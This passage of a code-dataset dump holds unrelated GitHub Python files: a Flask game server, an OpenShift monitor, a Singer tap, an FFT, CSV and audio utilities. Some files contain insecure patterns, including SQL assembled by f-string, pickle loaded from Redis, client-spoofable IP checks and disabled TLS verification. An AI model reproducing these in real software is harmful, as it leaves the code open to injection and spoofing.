os.path.join(os.path.dirname(__file__), 'whoosh_index'),\n    },\n}\nHAYSTACK_SIGNAL_PROCESSOR = 'haystack.signals.RealtimeSignalProcessor'\n\"\"\"\nUsing a realtime signal processor means that the search index is updated every\ntime a proposal is added or deleted. Since eusay is small, this should be\nfine - but if we have performance issues, we can use BaseSignalProcessor and\nmanually run a cron job to rebuild the index every few hours or something.\n\"\"\"\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.6/topics/i18n/\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'Europe/London'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = False\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.6/howto/static-files/\nSTATIC_URL = '/static/'\nSTATIC_ROOT = 'static/'\n\n\n# For boostrap alerts\nfrom django.contrib.messages import constants as messages\nMESSAGE_TAGS = {\n    messages.INFO: 'alert-info',\n    messages.SUCCESS: 'alert-success',\n    messages.WARNING: 'alert-warning',\n    messages.ERROR: 'alert-danger',\n}\n","repo_name":"HughMcGrade/eusay","sub_path":"core/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"}
+{"seq_id":"9984139923","text":"\"\"\"\n API:\n/version\n          returns dllVersion;scriptVersion\n/join?team={team}&player={playername}\n          returns current \"data\", usually 000000000000000000000000000\n/init?player={playername}\n          returns new team number\n/coop?team={team}&player={playername}&data={data}\n          returns \"data\", followed by a '{' separated list of users to map to items\n/teamcheck?team={team}\n          returns a json object:\n              {\"players\": string array, \"playeritems\": string array, \"data\": string, messages: string array, \"team\": string}\n\"\"\"\nimport flask\nfrom redis import Redis\nfrom flask import Flask, request, abort, Response\nfrom datetime import datetime\nimport random\nimport pickle\nimport json\napp = Flask(__name__)\n\nFMTSTRING_JOIN = \"{0} has connected.\"\nFMTSTRING_REJOIN = \"{0} has reconnected.\"\nITEM_NAMES = [\"Lute\", \"Crown\", \"Crystal\", \"Herb\", \"Key\", \"TNT\", \n              \"Adamant\", \"Slab\", \"Ruby\", \"Rod\", \"Floater\", \"Chime\", \n              \"Tail\", \"Cube\", \"Bottle\", \"Oxyale\", \"Ship\", \"Canoe\", \n              \"Airship\", \"Bridge\", \"Canal\", \"SlabTranslation\", \n              \"EarthOrb\", \"FireOrb\", \"WaterOrb\", \"AirOrb\", \"EndGame\"]\n\n# Make the WSGI interface available at the top level so wfastcgi can get it.\nwsgi_app = app.wsgi_app\nclass LogEntry():\n    __slots__ = [\"timestamp\", \"player\", \"item\"]\n    def __init__(self, player, item):\n        self.timestamp = datetime.now()\n        self.player = player\n        self.item = item\n\nclass GameLogObject():\n    __slots__ = [\"team\", \"inittime\", \"log\"]\n    def __init__(self, team=\"\"):\n        self.team = team\n        self.inittime = datetime.now()\n        self.log = []\n\nclass GameObject():\n    __slots__ = [\"team\", \"players\", \"data\", \"playeritems\", \"limit\"]\n    def __init__(self, team=0, players=None, data=\"\", playeritems=None, limit=0):\n        self.team = team\n        if players is None:\n            players = []\n        self.players = players\n        self.data = data\n        if playeritems is None:\n            playeritems = []\n        self.playeritems = playeritems\n        self.limit = limit\n\nclass PlayerObject():\n    __slots__ = [\"name\", \"ip\", \"messages\"]\n    def __init__(self, name=\"\", ip=\"\", messages=None):\n        self.name = name\n        self.ip = ip\n        if messages is None:\n            messages = []\n        self.messages = messages\n\nclass CoopDB():\n    def __init__(self):\n        self._redis = Redis(host=os.environ.get('REDIS_HOST', 'localhost'))\n\n    def refreshKey(self, key: str, seconds=3600*24):\n        self._redis.expire(key, seconds)\n\n    def getGameObject(self, team: str) -> GameObject:\n        dbGameObj = self._redis.get(team)\n        if dbGameObj:\n            return pickle.loads(dbGameObj)\n        return None\n\n    def getPlayerObject(self, player: str) -> PlayerObject:\n        dbPlayerObj = self._redis.get(player)\n        if dbPlayerObj:\n            return pickle.loads(dbPlayerObj)\n        return None\n\n    def getGameLogObject(self, team: str) -> GameLogObject:\n        key = \"log{}\".format(team)\n        dbGameLogObject = self._redis.get(key)\n        if key:\n            return pickle.loads(dbGameLogObject)\n        return None\n\n    def saveGameObject(self, gameObject: GameObject):\n        dbGameObj = pickle.dumps(gameObject)\n        self._redis.set(gameObject.team, dbGameObj)\n        self.refreshKey(gameObject.team)\n\n    def savePlayerObject(self, playerObject: PlayerObject):\n        dbPlayerObj = pickle.dumps(playerObject)\n        self._redis.set(playerObject.name, dbPlayerObj)\n        self.refreshKey(playerObject.name)\n\n    def saveGameLogObject(self, gameLogObject: GameLogObject):\n        dbGameLogObj = pickle.dumps(gameLogObject)\n        key = \"log{}\".format(gameLogObject.team)\n        self._redis.set(key, dbGameLogObj)\n        self.refreshKey(key)\n\n    \ndef addMessageToPlayers(message: str, playernames: list):\n    db = CoopDB()\n    for p in playernames:\n        if p:\n            pObj = db.getPlayerObject(p)\n            if pObj:\n                pObj.messages.append(message)\n                db.savePlayerObject(pObj)\n\n\n@app.route('/version')\ndef epVersion():\n    # dll version, then script version\n    return \"0.13;0.13\"\n\n@app.route('/init')\ndef epInit():\n    db = CoopDB()\n    player = request.args['player']\n    limit = request.args['limit']\n\n    random.seed()\n    team = 0\n    j = 0\n    for i in range(10000):\n        j = i\n        team = str(random.randint(1000, 9999))\n        if not db.getGameObject(team):\n            break\n    if j > 9998:\n        return 'could not get team'\n    playerIP = request.remote_addr\n    if (request.headers.get(\"X-Forwarded-For\")):\n        playerIP = request.headers[\"X-Forwarded-For\"]\n\n    gameobject = GameObject()\n    gameobject.data = \"000000000000000000000000000\"\n    gameobject.playeritems = [\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"]\n    gameobject.team = team\n    gameobject.limit = int(limit)\n    gameobject.players.append(player)\n\n    playerobject = PlayerObject()\n    playerobject.name = player\n    playerobject.ip = playerIP\n\n    gamelogobject = GameLogObject(team = team)\n\n\n    db.saveGameObject(gameobject)\n    db.savePlayerObject(playerobject)\n    db.saveGameLogObject(gamelogobject)\n\n    return team\n\n@app.route('/join')\ndef epJoin():\n    db = CoopDB()\n    player = request.args['player']\n    team = request.args['team']\n\n    playerIP = request.remote_addr\n    if (request.headers.get(\"X-Forwarded-For\")):\n        playerIP = request.headers[\"X-Forwarded-For\"]\n    cachedPlayer = db.getPlayerObject(player)\n    if cachedPlayer:\n        if not playerIP == cachedPlayer.ip:\n            return \"Player name already taken\"\n\n    gameobject = db.getGameObject(team)\n    if gameobject:\n        if (gameobject.limit > 0) and not (len(gameobject.players) < gameobject.limit):\n            if player not in gameobject.players:\n                abort(Response(\"Error: game is currently full\"))\n        playerobject = PlayerObject(name=player, ip=playerIP)\n        if not player in gameobject.players:\n            addMessageToPlayers(FMTSTRING_JOIN.format(player), [p for p in gameobject.players if p is not player])\n            playerobject.messages.append(FMTSTRING_JOIN.format(player))\n            gameobject.players.append(player)\n        else:\n            addMessageToPlayers(FMTSTRING_REJOIN.format(player), [p for p in gameobject.players])\n        \n\n        db.saveGameObject(gameobject)\n        db.savePlayerObject(playerobject)\n\n        return gameobject.data\n    else:\n        abort(Response(\"Error: game does not exist\"))\n    \n@app.route('/coop')\ndef epCoop():\n    db = CoopDB()\n    team = request.args['team']\n    player = request.args['player']\n    data = request.args['data']\n\n    gameobject = db.getGameObject(team)\n    playerobject = db.getPlayerObject(player)\n    gamelogobject = db.getGameLogObject(team)\n    playerIP = request.remote_addr\n    if (request.headers.get(\"X-Forwarded-For\")):\n        playerIP = request.headers[\"X-Forwarded-For\"]\n        print(\"Got IP from X-Forwarded-For header: {}\".format(playerIP))\n    else:\n        print(\"Got IP from request object: {}\".format(playerIP))\n\n    if not gameobject:\n        abort(Response(\"Error: game does not exist\"))\n    if not player in gameobject.players:\n        abort(Response(\"Error: player is not in this game\"))\n    if not playerobject:\n        abort(Response(\"Error: player does not exist\"))\n    if not playerIP == playerobject.ip:\n        abort(Response(\"Error: player host is incorrect\"))\n    if not len(data) ==  len(gameobject.data):\n        abort(Response(\"Error: data is malformed\"))\n\n    newdata = []\n    for i in range(len(data)):\n        if (data[i] == \"1\") or (gameobject.data[i] == \"1\"):\n            newdata.append(\"1\")\n            #check if item is newly required\n            if gameobject.data[i] == \"0\":\n                gameobject.playeritems[i] = player\n                logentry = LogEntry(player = player, item = ITEM_NAMES[i])\n                gamelogobject.log.append(logentry)\n        else:\n            newdata.append(\"0\")\n    newdata_s = ''.join(newdata)\n    gameobject.data = newdata_s\n\n    #outdata = newdata_s + \"{\" + '{'.join(gameobject.playeritems)\n    outobj = {'data':gameobject.data, 'playeritems':gameobject.playeritems, 'messages':playerobject.messages}\n    playerobject.messages = []\n    outdata = json.dumps(outobj)\n\n\n    db.saveGameObject(gameobject)\n    db.savePlayerObject(playerobject)\n    db.saveGameLogObject(gamelogobject)\n\n    return outdata\n\n\n@app.route('/log')\ndef epLog():\n    db = CoopDB()\n    team = request.args['team']\n\n    gameObj = db.getGameObject(team)\n    if not gameObj:\n        abort(Response(\"Error: game not found\"))\n    gameLogObj = db.getGameLogObject(team)\n    gameLogOut = {'game': gameLogObj.team, 'inittime': gameLogObj.inittime.timestamp()}\n    gameLogOut['log'] = [{'timestamp': i.timestamp.timestamp(), 'player': i.player, 'item': i.item} for i in gameLogObj.log]\n    jsonOut = json.dumps(gameLogOut)\n    return jsonOut\n\n\nif __name__ == '__main__':\n    import os\n    HOST = os.environ.get('SERVER_HOST', 'localhost')\n    try:\n        PORT = int(os.environ.get('SERVER_PORT', '5555'))\n    except ValueError:\n        PORT = 5555\n    app.run(HOST, PORT)\n","repo_name":"FiendsOfTheElements/FFR-Coop","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12155682595","text":"import sys\nimport argparse\nimport logging\nimport utils\n\n\ndef main():\n    parser: argparse.ArgumentParser = argparse.ArgumentParser(description='Predict Type of Flower')\n    parser.add_argument('image_path', type=str, metavar='', help='Path to image file to predict')\n    parser.add_argument('-k', '--top_k', dest='top_k', type=int, required=False, metavar='',\n                        help='Top K most likely classes. Default = 1')\n    parser.add_argument('-c', '--category_names', dest='category_names', type=str, required=False, metavar='',\n                        help='JSON file mapping categories to real names. Default = None')\n    parser.add_argument('-g', '--gpu', dest='gpu', action='store_true', help='Use GPU for inference')\n\n    args: argparse.Namespace = parser.parse_args()\n\n    logging.info(f'Running command: python {\" \".join(sys.argv)}')\n    top_k: int = args.top_k if args.top_k else 1\n\n    predict(args.image_path, top_k, args.category_names, args.gpu)\n\n\ndef predict(image_path: str, top_k: int, category_names: str, gpu: bool) -> None:\n    return\n\nif __name__ == '__main__':\n    logging.basicConfig(level=logging.INFO, format='[%(asctime)s] %(name)s %(levelname)s %(message)s',\n                        datefmt='%Y-%m-%d %H:%M:%S')\n    logging.Formatter(datefmt='%Y-%m-%d %H:%M:%S')\n    main()\n\n","repo_name":"surishashank/learning","sub_path":"aipnd-project/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6321102362","text":"import csv, re\n\ndef opencsv(filename):\n    f= open(filename, 'r', encoding = 'cp949')\n    reader = csv.reader(f)\n    output = []\n    for i in reader:\n        output.append(i)\n    return output\n\n\ndef writecsv(filename, the_list):                  # 첫 번째 변수는 파일이름, 두번째 변수는 CSV형 리스트를 저장한 객체 \n    with open(filename, 'w', newline='', encoding = 'cp949') as f:     # 파일을 닫기 위해 whitt문 사용\n        a = csv.writer(f, delimiter=',')\n        a.writerows(the_list)\n\n\ndef switch(listName):                             # 예외처리로 숫자만 골라서 숫자형으로 변경하는 함수\n    for i in listName:\n        for j in i:\n            try:\n                i[i.index(j)] = float(re.sub(',','', j))\n            except:\n                pass\n    return listName        \n     \n\n","repo_name":"ksehwa/data_python","sub_path":"Basic/usecsv.py","file_name":"usecsv.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8190466663","text":"import os\nimport re\nimport librosa\nimport numpy as np\nimport Code.Python.FeatureExtraction.audioSegmentation as Segment\n\nmedia_dir = input(\"Enter the music directory:\")\ndata_folder = input(\"Enter the destination directory:\")\n\n# Creates destination outer folder if nonexistent\nif not os.path.exists(data_folder):\n    os.makedirs(data_folder)\n\n# Read in selected songs into list and remove header\n\n# Create split audio files\nfor song in os.listdir(media_dir):\n    # Either regex will work, but split is possibly faster\n    # name = re.findall(\"[0-9]*[^\\.mp3]\", song[song_title_index])\n    print(song)\n    name = re.split(\"\\.\", song)[0]\n    in_file = os.path.join(media_dir, song)\n\n    # Create song directories, load audio, and calculate number of segments\n    audio_data, num_segments, song_path, segment_path, fft_path, tempo_path = \\\n        Segment.AudioSegmentationPrep(in_file, name, data_folder)\n\n    # Iterate over number of segments\n    for current_segment in range(0, num_segments):\n        audio_segment_data = Segment.GetNextSegment(audio_data, current_segment)\n        segment_file = Segment.SaveAudio(name, audio_segment_data, current_segment, segment_path)\n        librosa_data, sample_rate = librosa.load(segment_file, sr=44100)\n        # size: 221231\n\n        fft_save_file = os.path.join(fft_path, (name + '_part_' + str(current_segment) + '_fft'))\n        tempo_save_file = os.path.join(tempo_path, (name + '_part_' + str(current_segment) + '_tempo'))\n\n        fft = librosa.stft(librosa_data, n_fft=4410)\n        # n_fft = 4410  -> shape: 2206 x 201 size: 443406\n        # n_fft = 44100 -> shape: 22051 x 21 size: 463071\n        tempo = librosa.beat.tempo(librosa_data, sr=sample_rate)\n        np.save(fft_save_file, fft)\n        np.save(tempo_save_file, tempo)\n    Segment.MoveOriginalFile(in_file, name, song_path)\n","repo_name":"ttakasawa/Music_Play_Count_Estimator","sub_path":"Code/Python/FeatureExtraction/selectFeatureTerminal.py","file_name":"selectFeatureTerminal.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21636267491","text":"import os\nfrom bs4 import BeautifulSoup as bs\nimport sqlite3\n\ncon = sqlite3.connect('/home/imconfusednow/cv_project/db.sqlite3')\ncur = con.cursor()\n\ncur.execute(\"DELETE FROM mywork_site_contents\")\ncon.commit()\n\n\npages = {\n    \"cv\" : \"About Me\",\n    \"contact\": \"Contact\",\n    \"ecommerce\": \"Ecommerce\",\n    \"projects\" : \"Hobby Projects\"\n}\n\ndef get_templates():\n    return os.listdir(\"/home/imconfusednow/cv_project/mywork/templates/mywork\")\n\ndef write_template(template):\n    tags = {}\n    file = open(\"/home/imconfusednow/cv_project/mywork/templates/mywork/\" + template).read()\n    soup = bs(file, 'html.parser')\n    for i in soup.find_all():\n        if i.name == \"Script\":continue\n        if i.name in tags:\n            tags[i.name] += 1\n        else:\n            tags[i.name] = 0\n        write_record(i.name, tags[i.name], i.string, template)\n\ndef write_record(tag, number, content, template):\n    template = template.split(\".\")[0]\n    name = pages[template]\n    con = sqlite3.connect('/home/imconfusednow/cv_project/db.sqlite3')\n    cur = con.cursor()\n    cur.execute(f\"INSERT INTO mywork_site_contents (link, result, number, tag, name) VALUES('{template}', '{content}', {number}, '{tag}', '{name}')\")\n    con.commit()\n\ntemplates = get_templates()\n\nfor t in templates:\n    if (t.split(\".\")[0] in pages):\n        write_template(t)\n\n\ncon.close()","repo_name":"imconfusednow/django_site","sub_path":"scripts/create_search.py","file_name":"create_search.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"15400761413","text":"n, m = [int(i) for i in input().split()]\n\na_list = [int(i) for i in input().split()]\nb_list = [int(i) for i in input().split()]\n\nfor target in range(0, 2**10):\n\tfor a in a_list:\n\t\tfound = False\n\t\tfor b in b_list:\n\t\t\tif \t(a & b) | target == target:\n\t\t\t\tfound = True\n\t\t\t\tbreak\n\n\t\tif found == False:\n\t\t\tbreak\n\n\tif found == True:\n\t\tprint(target)\n\t\tbreak\n","repo_name":"janskrz/comp_coding","sub_path":"codeforces/problems/boboniu_and_bit_operations.py","file_name":"boboniu_and_bit_operations.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4445486242","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"ROS2 CSI Camera Image Publisher.\n\nThis script publishes csi camera image to a ROS2 topic in sensor_msgs.msg/Image \nformat. And starts rtmp stream to rtmp://localhost;1935/live/stream\n\nExample:\n        $ colcon build --symlink-install && source install/local_setup.bash && ros2 run ros2_csi_camera_publish jetson\n        $ source install/local_setup.bash && ros2 run ros2_csi_camera_publish jetson\n        $ ros2 run ros2_csi_camera_publish jetson\n\n\"\"\"\n\n# ___Import Modules:\nimport os\nimport nanocamera as nano\nimport json\nimport numpy as np\nimport subprocess \nimport socket\n\nimport rclpy\nfrom rclpy.node import Node\nfrom sensor_msgs.msg import Image\nfrom ament_index_python.packages import get_package_share_directory\n\n# ___Global Variables:\nSETTINGS = os.path.join(get_package_share_directory('ros2_csi_camera_publish'), \"settings.json\")\n\n\n# __Classes:\nclass CameraPublisher(Node):\n\n    def __init__(self):\n        super().__init__('camera_publisher')\n        self.create_livestream()\n\n\n    def create_livestream(self):\n        try:\n            subprocess.Popen([\"./host_rtsp_server\", \"nvarguscamerasrc ! nvvidconv ! nvv4l2h264enc ! h264parse ! rtph264pay name=pay0 pt=96\",str(self.get_ip_address())], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n        except Exception as e:\n            print(\"failed to set up rtsp server error :\\n {e}\")\n\n\n    def get_ip_address(self):\n        cmd = \"ifconfig %s | grep -Eo 'inet (addr:)?([0-9]*\\.){3}[0-9]*' | grep -Eo '([0-9]*\\.){3}[0-9]*' | grep -v '127.0.0.1'\" % 'wlan0'\n        return subprocess.check_output(cmd, shell=True).decode('ascii')[:-1]\n\n\n# ___Main Method:\ndef main(args=None):\n\n    with open(SETTINGS) as fp:\n        content = json.load(fp)\n        publish_topic = content[\"publish_topic\"]\n        publish_frequency = content[\"publish_frequency\"]\n        capture_width = content[\"capture_width\"]\n        capture_height = content[\"capture_height\"]\n        framerate = content[\"framerate\"]\n        flip_method = content[\"flip_method\"]\n        display_width = content[\"display_width\"]\n        display_height = content[\"display_height\"]\n\n    rclpy.init(args=args)\n    livestream = CameraPublisher()\n    rclpy.spin(livestream)\n\n    livestream.destroy_node()\n    rclpy.shutdown()\n\n\n# ___Driver Program:\nif __name__ == '__main__':\n    main()\n\n#\n# end of file\n\"\"\"ORDINA\"\"\"\n","repo_name":"Ordina-Group/robotics-workshop","sub_path":"src/ros2_csi_camera_publish/ros2_csi_camera_publish/jetson.py","file_name":"jetson.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"17757223016","text":"import math\n\ndef fft(nums):\n    if not power_of(len(nums)):\n        raise ValueError(\"fft only accepts lists with a length equal to a power of two\")\n\n    if len(nums) == 1:\n        return nums\n\n    fft_left = fft(nums[::2])\n    fft_right = fft(nums[1::2])\n\n    out = [None]*len(nums)\n    root = nth_root_of_unity(len(nums))\n    \n    for i in range(len(nums)//2):\n        out[i] = fft_left[i] + (root**i)*fft_right[i]\n        out[i+len(nums)//2] = fft_left[i] - (root**i)*fft_right[i]\n    return out\n\ndef ifft(nums):\n    if not power_of(len(nums)):\n        raise ValueError(\"ifft only accepts lists with a length equal to a power of two\")\n    \n    if len(nums) == 1:\n        return nums\n\n    fft_left = fft(nums[::2])\n    fft_right = fft(nums[1::2])\n\n    out = [None]*len(nums)\n    root = -nth_root_of_unity(len(nums))\n    \n    for i in range(len(nums)//2):\n        out[i] = fft_left[i] + (root**i)*fft_right[i]\n        out[i+len(nums)//2] = fft_left[i] - (root**i)*fft_right[i]\n\n    for i in range(len(out)):\n        out[i] /= len(out)\n        \n    return out\n    \n\ndef power_of(x, base=2):\n    while not x%base:\n        x //= base\n    return x == 1\n\ndef nth_root_of_unity(n, field=complex):\n    if field == complex:\n        return math.e**(2*math.pi*1j / n)\n    else:\n        raise ValueError(\"Field not supported\")\n","repo_name":"Joshua-Chin/python-stuff","sub_path":"fft.py","file_name":"fft.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36963750382","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.mlab as mlab\nimport matplotlib.pyplot as plt\nimport datetime\nfrom datetime import datetime\n\ndf=pd.read_csv('/home/mfuster/Desktop/datacorrected/nyto/2013nyj.csv',skipinitialspace=True)\n\n#this function adds a column with the triptime\ndef addtime(df):\n    t1=df['pickup_datetime'].values.tolist()\n    t2=df['dropoff_datetime'].values.tolist()\n\n    #convert to datetime format\n    for i in range(len(t1)):\n        t1[i] = datetime.strptime(t1[i], '%Y-%m-%d %H:%M:%S')\n        t2[i] = datetime.strptime(t2[i], '%Y-%m-%d %H:%M:%S')\n        #to substract lists, use np.array\n    t1=np.array(t1)\n    t2=np.array(t2)\n    t=t2-t1\n    #convert to minutes of travel\n    for i in range(len(t)):\n        t[i]=np.float(t[i].total_seconds()/60)\n    #addcolumn\n    df['triptime']=t\n    return df\n    \n    \ndf=addtime(df)\n#df.to_csv('/home/mfuster/Desktop/datacorrected/nyto/2013nyjwithtime.csv')\n\n#this one adds the hour and the weekday.\ndef add_weekdayandhour(path):\n    #reading\n    df=pd.read_csv(path,skipinitialspace=True)\n\n    t1=df['dropoff_datetime'].values.tolist() #who arrive\n    \n    #convert to datetime format and add weekdaycolumn   \n    weekdaylist=[]\n    hourlist=[]\n    for i in range(len(t1)):\n        t1[i] = datetime.strptime(t1[i], '%Y-%m-%d %H:%M:%S')\n        weekdaylist.append(t1[i].weekday())\n        hourlist.append(t1[i].hour)\n\n    #add new column\n    df['hour']=hourlist\n    df['weekday']=weekdaylist\n    return df\n","repo_name":"marcfusterr/The_attraction_basin_of_NYC_airports","sub_path":"Add_columns_triptime_hour_weekday.py","file_name":"Add_columns_triptime_hour_weekday.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1782838330","text":"#!/usr/bin/env python3\nimport os\nimport json\nimport singer\nimport asyncio\nimport concurrent.futures\nfrom singer import utils, metadata\nfrom singer.catalog import Catalog\n\nfrom tap_fastly.sync import FastlyAuthentication, FastlyClient, FastlySync\n\nREQUIRED_CONFIG_KEYS = [\"start_date\",\n                        \"api_token\"]\nLOGGER = singer.get_logger()\n\ndef get_abs_path(path):\n    return os.path.join(os.path.dirname(os.path.realpath(__file__)), path)\n\n# Load schemas from schemas folder\ndef load_schemas():\n    schemas = {}\n\n    for filename in os.listdir(get_abs_path('schemas')):\n        path = get_abs_path('schemas') + '/' + filename\n        file_raw = filename.replace('.json', '')\n        with open(path) as file:\n            schemas[file_raw] = json.load(file)\n\n    return schemas\n\ndef discover():\n    raw_schemas = load_schemas() \n    streams = []\n\n    for schema_name, schema in raw_schemas.items():  \n        # TODO: populate any metadata and stream's key properties here..\n        stream_metadata = []\n        stream_key_properties = []\n        \n        stream_schema = schema['streams'][0]['schema'] \n        \n        stream_metadata = schema['streams'][0]['metadata'] \n        stream_key_properties = schema['streams'][0]['metadata'][0]['metadata']['table-key-properties']\n\n\n\n\n        # create and add catalog entry\n        catalog_entry = { \n            'stream': schema_name,\n            'tap_stream_id': schema_name,\n            'schema': stream_schema,\n            'metadata' : stream_metadata, \n            'key_properties': stream_key_properties\n        }\n        streams.append(catalog_entry)\n\n    return {'streams': streams}\n\n\ndef get_selected_streams(catalog):\n    '''\n    Gets selected streams.  Checks schema's 'selected' first (legacy)\n    and then checks metadata (current), looking for an empty breadcrumb\n    and mdata with a 'selected' entry\n    '''\n    selected_streams = []\n    for stream in catalog['streams']: \n        stream_metadata = metadata.to_map(stream['metadata'])\n        \n        if metadata.get(stream_metadata, (), \"selected\"):\n            selected_streams.append(stream['tap_stream_id'])\n\n    return selected_streams\n\ndef create_sync_tasks(config, state, catalog):\n    auth = FastlyAuthentication(config[\"api_token\"])\n    client = FastlyClient(auth)\n    sync = FastlySync(client, state, config)\n\n    selected_stream_ids = get_selected_streams(catalog)\n\n    sync_tasks = (sync.sync(stream['tap_stream_id'], stream['schema'])\n                  for stream in catalog['streams']\n                  if stream['tap_stream_id'] in selected_stream_ids)\n\n    return asyncio.gather(*sync_tasks)\n\ndef sync(config, state, catalog):\n    loop = asyncio.get_event_loop()\n    try:\n        tasks = create_sync_tasks(config, state, catalog)\n        loop.run_until_complete(tasks)\n    finally:\n        loop.run_until_complete(loop.shutdown_asyncgens())\n        loop.close()\n\n@utils.handle_top_exception(LOGGER)\ndef main():\n    # Parse command line arguments\n    args = utils.parse_args(REQUIRED_CONFIG_KEYS)\n\n    # If discover flag was passed, run discovery mode and dump output to stdout\n    if args.discover:\n        catalog = discover()\n        print(json.dumps(catalog, indent=2))\n    # Otherwise run in sync mode\n    else:\n        if args.catalog:\n            catalog = args.catalog\n        else:\n            catalog = discover()\n\n        config = args.config\n        state = {\n            \"bookmarks\": {\n                \"bills\": {\"start_time\": config[\"start_date\"]}\n            }\n        }\n        state.update(args.state)\n\n        sync(config, state, catalog)\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"splitio/tap-fastly","sub_path":"tap_fastly/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"22189339730","text":"from flask import Flask, Blueprint, render_template\nfrom flask_restful import Api\nfrom flask_cors import CORS, cross_origin\n\nfrom api.controllers import auth, files, users, ocp, ocptotals, ocpnodes, ocpupdate\nfrom config import config\n\nimport json\nimport os\nimport subprocess\nimport requests\n\nfrom kombu import Queue\nfrom celery import subtask\nfrom celery import Celery, chain\nfrom celery.utils.log import get_task_logger\n\nfrom workers.find_regions.find_regions import find_regions\nfrom workers.debug_regions.debug_regions import debug_regions\nfrom workers.mcs_ocr.mcs_ocr import mcs_ocr\nfrom workers.validate_address.validate_address import validate_address\n\nlogger = get_task_logger(__name__)\n\ndef create_app(env):\n    app = Flask(__name__)\n    app.config.from_object(config[env])\n    CORS(app)\n    @app.route('/ocpweb')\n    def webload():\n        auth_token = os.environ['OCPTOKEN']\n        #auth_token = auth_token_tmp.replace(' ', '')[:-1]\n        url = os.environ['OCPURL'] + \"/api/v1/nodes\"\n        header = {\"Authorization\": \"bearer \" + auth_token}\n        response = requests.get(url,headers=header,verify=False)\n        if(response.ok):\n                nodes = json.loads(response.content)\n                output = []\n                items = nodes['items']\n                total = []\n                for item in items:\n                        total.append(item['metadata']['name'])\n                        node = item['metadata']['name']\n                        cpucount = item['status']['capacity']['cpu']\n                        memcount = item['status']['capacity']['memory']\n                        for condition in item['status']['conditions']:\n                           if condition['type'] == \"OutOfDisk\":\n                              diskstatus = condition['status']\n                           if condition['type'] == \"MemoryPressure\":\n                              memstatus = condition['status']\n                           if condition['type'] == \"DiskPressure\":\n                              diskpress = condition['status']\n                           if condition['type'] == \"Ready\":\n                              ready = condition['status']\n                        output.append({'Node': node, 'Labels': item['metadata']['labels'], 'Status': {'OutOfDisk': diskstatus, 'MemoryPressure': memstatus, 'DiskPressure': diskpress, 'Ready': ready}})\n                count = len(total)\n                output.append({'TotalNodes': count})\n        podurl = os.environ['OCPURL'] + \"/api/v1/pods\"\n        podheader = {\"Authorization\": \"bearer \" + auth_token}\n        podresponse = requests.get(podurl,headers=podheader,verify=False)\n        if(podresponse.ok):\n                pods = json.loads(podresponse.content)\n                podoutput = []\n                poditems = pods['items']\n                for poditem in poditems:\n                        pod = poditem['metadata']['name']\n                        nodename = poditem['spec'].get('nodeName')\n                        phase = poditem['status']['phase']\n                        nodeselector = poditem['spec'].get('nodeSelector')\n                        podoutput.append({'Pod': pod, 'Node': nodename, 'NodeSelector': nodeselector, 'Status': phase})\n                return render_template('ocpweb.html', result = output, podresult = podoutput)\n        else:\n                return response.raise_for_status()\n\n    # Start api/v1 Blueprint\n    api_bp = Blueprint('api', __name__)\n    api = Api(api_bp)\n\n    api.add_resource(auth.AuthLogin, '/auth/login')\n    api.add_resource(auth.AuthRegister, '/auth/register')\n    api.add_resource(files.CreateList, '/files')\n    api.add_resource(files.Upload, '/upload')\n    api.add_resource(files.Download, '/download/<string:file_id>')\n    api.add_resource(files.ViewEditDelete, '/files/<string:file_id>')\n    api.add_resource(users.List, '/users')\n    api.add_resource(ocp.OCPToken, '/ocp/token')\n    api.add_resource(ocp.OCPNodes, '/ocp/active/nodes')\n    api.add_resource(ocpnodes.ListNodes, '/ocp/conf/nodes')\n    api.add_resource(ocpupdate.AddNode, '/ocp/add/node')\n#    api.add_resource(ocp.OCPWeb, '/ocpweb')\n\n    app.register_blueprint(api_bp, url_prefix=\"/api/v1\")\n    # End api/v1 Blueprint\n\n    # Celery\n    celery_app = Celery('tasks', broker='pyamqp://guest@localhost//')\n    celery_app.config_from_object('celeryconfig')\n    celery_app.conf.update(app.config)\n\n    return app\n","repo_name":"djfoley01/ocp-monitor","sub_path":"api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
